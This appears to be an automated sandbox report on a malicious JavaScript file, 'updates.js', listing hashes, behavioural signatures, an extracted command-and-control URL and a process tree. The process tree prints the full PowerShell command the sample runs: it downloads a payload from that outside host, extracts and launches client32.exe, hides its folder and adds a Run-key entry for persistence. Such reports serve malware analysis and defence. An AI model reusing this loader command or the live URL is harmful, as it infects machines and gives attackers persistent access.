Analysis
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max time kernel
117s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
27-07-2024 00:29
Static task
static1
Behavioral task
behavioral1
Sample
updates.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
updates.js
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
updates.js
Resource
win10v2004-20240709-en
Behavioral task
behavioral4
Sample
updates.js
Resource
win11-20240709-en
General
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Target
updates.js
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Size
2.7MB
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MD5
9dee96d1aed9f08a3b40bcf3c26ade1e
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SHA1
500db417d1c81725a4a8a6cbe18b77fd0c58c7f3
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SHA256
043b4b669bfb4c8c12bcd6c66925b9ef3d8c78bf7a56c79dc07862b1c6c21f1d
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SHA512
5d82faa0cd03e5a5a4107c9303cd1525ee23cefe3b83e282667ec76501912ea7f050b184d0865db0b1e6ba66962052f2b4a178a41b4b24d058d6f4302423d09a
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SSDEEP
49152:DA4yxjzCgTpCffzZtrCP7sQs0iy/ss7+ZdhN6j4GusjtWsDtzXY7aIvJLwHcw1bI:f
Malware Config
Extracted
http://hhic.top/data.php?12760
http://hhic.top/data.php?12760
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 1808 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1808 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1808 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1808 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1908 wrote to memory of 1808 1908 wscript.exe 30 PID 1908 wrote to memory of 1808 1908 wscript.exe 30 PID 1908 wrote to memory of 1808 1908 wscript.exe 30
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js1⤵
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $UDWHDA='http://hhic.top/data.php?12760';$ZYHQLDGOE=(New-Object System.Net.WebClient).DownloadString($UDWHDA);$ZWPT=[System.Convert]::FromBase64String($ZYHQLDGOE);$asd = Get-Random -Minimum -10 -Maximum 17; $JNBVL=[System.Environment]::GetFolderPath('ApplicationData')+'\DUHHTQV'+$asd;if (!(Test-Path $JNBVL -PathType Container)) { New-Item -Path $JNBVL -ItemType Directory };$p=Join-Path $JNBVL 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$ZWPT);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$JNBVL)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $JNBVL 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $JNBVL -Force; $fd.attributes='Hidden';$s=$JNBVL+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='TDFNRE';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808
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